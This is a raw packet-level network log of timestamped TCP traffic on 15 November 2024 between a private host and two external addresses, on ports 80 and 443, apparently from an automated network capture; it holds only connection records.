Nov 15, 2024 19:39:37.197572947 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197581053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197587967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197616100 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197943926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197957993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197973013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197985888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197995901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198000908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198014975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198020935 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198029995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198038101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198049068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198071957 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198098898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198113918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198127031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198141098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198148966 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198154926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198168039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198174953 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198184013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198185921 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198196888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198211908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198219061 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198234081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198247910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198256016 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198262930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198276043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198287964 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198291063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198304892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198312044 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198337078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198736906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198751926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198765993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198779106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198792934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198803902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198807955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198821068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198826075 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198836088 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198837042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198849916 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198863029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198874950 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198878050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198890924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198910952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198918104 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198925972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198930979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198940039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198955059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198957920 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.198968887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198982954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.198996067 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199001074 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199009895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199022055 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199023962 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199045897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199048042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199060917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199074984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199086905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199089050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199103117 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199110985 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199116945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199131012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199132919 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199137926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199151039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199166059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199170113 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199189901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199721098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199736118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199750900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199764013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199769020 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199779034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199793100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199796915 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199800014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199812889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199826956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199840069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199841022 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199862003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199870110 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199877977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199891090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199903011 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199906111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199919939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199924946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199934006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199949980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199960947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199964046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199978113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.199986935 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.199992895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200006962 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200020075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200026989 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200033903 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200035095 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200047970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200062037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200074911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200074911 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200088024 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200094938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200110912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200124979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200135946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200139046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200153112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200156927 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200186968 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200715065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200731039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200743914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200757027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200771093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200783968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200787067 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200798035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200808048 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200812101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200822115 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200825930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200839996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200850010 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200854063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200866938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200869083 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200884104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200897932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200911999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200915098 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200926065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200936079 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200942039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200954914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200965881 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200969934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200984001 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.200987101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.200998068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201011896 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201020956 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201026917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201040983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201054096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201056957 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201069117 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201078892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201081991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201096058 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201102972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201109886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201122999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201137066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201138020 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201159000 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201657057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201670885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201684952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201699018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201713085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201715946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201728106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201740980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201741934 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201755047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201755047 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201767921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201772928 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201781988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201806068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201812029 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201821089 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201834917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201848984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201858044 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201863050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201878071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201884985 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201891899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201894045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201905966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201919079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201925993 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201932907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201946974 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201958895 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201961994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201976061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.201982021 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.201988935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202002048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202013016 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.202014923 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202028990 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202035904 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.202044010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202055931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202069044 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.202069998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202085018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.202091932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.202125072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.222239971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.224152088 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.227080107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.227097034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.227121115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.227196932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229028940 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229043961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229059935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229082108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229095936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229110003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229115009 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229131937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229207993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229222059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229238033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229248047 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229260921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229275942 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229275942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229299068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229311943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229315042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229331017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229347944 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229408026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229423046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229437113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229451895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229465961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229475975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229482889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229513884 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229568958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229583025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229598999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229612112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229630947 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229635954 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229645967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229676008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229691982 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229707003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229720116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229734898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229770899 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.229912996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229937077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229952097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.229990959 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230029106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230043888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230057955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230072975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230097055 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230139971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230154991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230169058 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230179071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230184078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230186939 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230199099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230221033 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230283022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230304956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230319023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230324984 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230333090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230346918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230359077 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230361938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230376959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230391026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230391979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230412006 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230926037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230941057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230954885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230977058 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.230987072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.230989933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231004000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231009960 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231020927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231021881 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231055975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231174946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231189013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231203079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231216908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231230974 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231236935 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231245995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231260061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231261015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231273890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231288910 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231288910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231304884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231307030 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231328011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231345892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231359959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231384039 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.231508017 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.231787920 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.231832981 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.231899023 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.231916904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231931925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231946945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231961012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.231998920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.232007980 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.232013941 CET	80	49802	185.215.113.16	192.168.2.7
